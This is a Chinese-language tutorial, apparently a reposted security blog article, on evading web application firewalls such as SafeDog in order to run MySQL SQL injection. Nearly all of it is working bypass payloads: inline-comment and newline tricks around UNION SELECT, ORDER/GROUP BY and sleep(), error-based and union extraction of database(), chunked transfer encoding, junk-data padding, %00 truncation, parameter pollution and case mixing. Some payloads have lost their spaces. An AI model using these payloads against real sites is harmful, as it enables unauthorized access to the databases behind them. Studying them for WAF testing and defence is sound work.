本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
添加星标不迷路
WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。
拦截:
不拦截:
常见的替代方法2.1代替空格%20%09%0a%0b%0c%0d%a0%00/**//*!*/(内联注释)--%0a--ABC%0a(access)%23%0a%23qwe%0a%23%0A(使用emoji表情)2.2代替等号id=1'like'1'='1id=1'and'1'regexp'1id=1''1'regexp'1id=1'and'1'<>'2这个值不相等的时候,结果为真。2.3代替sleep()使用BENCHMARK()函数进行代替sleep,该函数的作用是进行循环执行,如果你设置的循环执行的次数足够大,就能够造成延迟的效果。
仅支持查询单行单列的结果,如果存在单行单列的执行结果,则可以正常执行,反之则报错,执行失败。
总结:一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同MySQL版本下的执行情况。
下面都是结合内联注释绕过的方法:
这里如果使用orderby和内联注释一起,是绕不过的,改成groupby即可绕过。
id=1'groupby1--+id=1'/*!44444group*//*!44443by*/3--+id=1'/**/order/*/**/by/**/1'id=1'/**/order/*/**/by/**/1--+id=1'/**/order/*/%0a*a*/by/**/3%233.2unionselect绕过id=1'union/*/1*1*//*!44444select*/1,2,3--+id=2%27union/*/%*%*//*!44444select*/1,2,3%23id=2%27union/*/1/%111*%*//*!44444select*/1,2,3%23id=2%27union/*/11*11/%*//*!44444select*/1,2,3%23id=1like'[%23]'/*!10444union%0Aselect*/1,2,3--+id=-1like'[%23]''/*!10444union%0Aselect*/1,2,3--+if(1=1,sleep(1),1)绕过id=1'and/*/sdas*sdad*/if(1=1,sleep(/**/5),2)%23id=1'and/*/sdas*sdad*/if(1=1,sleep(/**/3/**/),2)%233.3联合查询注入绕过id=-1like'[%23]''/*!10444union%0Aselect*/1,database(/*!44444*/),3--+id=-1like'[%23]'/*!10444union%0Aselect*/1,database(/*!44444*/),3--+3.4报错注入绕过这里会检测updatexml(),因此想方法将updatexml和()分开下面是探测数据库版本。
下面是探测数据库名。
四、分块传输绕过在POST型注入,有一个王炸,那就是分段传输!
在burp中关闭自动补全,删掉Content-Length:37,添加Tranfer-Enconding:chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行。
PS:Content-Length是HTTP消息长度的意思,是用十进制数字表示的八位字节数目,它限制了消息的长度,删除它再添加传输编码方式可以破除限制并且允许使用分块传输。
当然,burp中有一个分块传输的插件,可以一键分块传输,更加放包。
五、脏数据绕过(大参数绕过)脏数据绕过,一般都是在POST中,如果在get型输入单引号发现报错,但是使用报错函数的时候就无法访问,这时候可与尝试进行改成POST,测试后台是否接收,如果接收就可以尝试脏数据绕过waf。
WAF在设计的时候都会考虑到性能问题,检测数据包的包长或检测数据流长度,有一个限制。因此在设计WAF的时候可能就有一个默认值,默认多少个字节的流大小,或是多少个数据包。此时可以向HTTPPOST添加填充数据,达到一定数目之后,POST中的sql注入恶意代码没有被检测了,达到了bypass的目的。利用脚本生成器生成大量垃圾字符。
like在mysql中是一个筛选的作用,那么以下语句的含义就是,先查询表中id=-13且存在#的数据(查询结果为空),执行后面的uinonselect语句。
所以猜测当安全狗识别到查询语句有#,截断数据#后的语句不进行检查,然后发给服务器,但是mysql会执行该语句,从而达到绕过。
注:经过验证上述的猜测不完全对,安全狗对#截断后的数据还会做检查,只不过不够严谨,所以在unionselect中间再加入%0a换行即可绕过。
在1后面加上%00,原理是waf把空字节认为是结束导致了后面的语句可以绕过。%00截断在GET中被url解码之后是空字符。但是在post不会像get对%00进行自动解码,所以提前进行decode解码或者通过burpsuite修改hex值为00(URLdecode)进行截断。
%00并不是所有的东西都会截断。
在get类型中这样绕过即可
id=1%00'order+by+1%23id=1%00'order--%0aby%0a1%23在post类型需要一次urldecode,或者直接在hex改成00结果是一样的。
id=1')orderby1#八、其他绕过方式(下面的不保证绕过安全狗,仅供学习)
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。举例:
id=1&id=2&id=3组合绕过以上所学习的知识点结合在一起,这样能大幅提高绕过WAF的可能性
举例:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*!information_schema*/.tables/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()--编码绕过针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.
unionselect1,2,3#=union%0aselect1\u002c2,3%23关键词大小写绕过有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
unionselect--->unIOnSeLEcT伪注释绕过wafWAF会避免消耗大量内存去匹配危险函数,故会直接忽略'有效注释'中的内容,而攻击者可以构造不存在的参数来实现'伪注释'
a=/*&id=1&b=*/同义词替换and=&&or=||=(等于号)=<、>空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等注:%0a是换行也可以替代空格
最后说一句,如果我们在SQL注入的过程中遇到某个WAF,第一个考虑的是这里的参数是不是可以通过POST或者Cookie来进行传参,如非必要尽量不要在GET中进行SQL注入。
例如安全狗,在POST型注入的时候,连简单的报错注入都不拦截。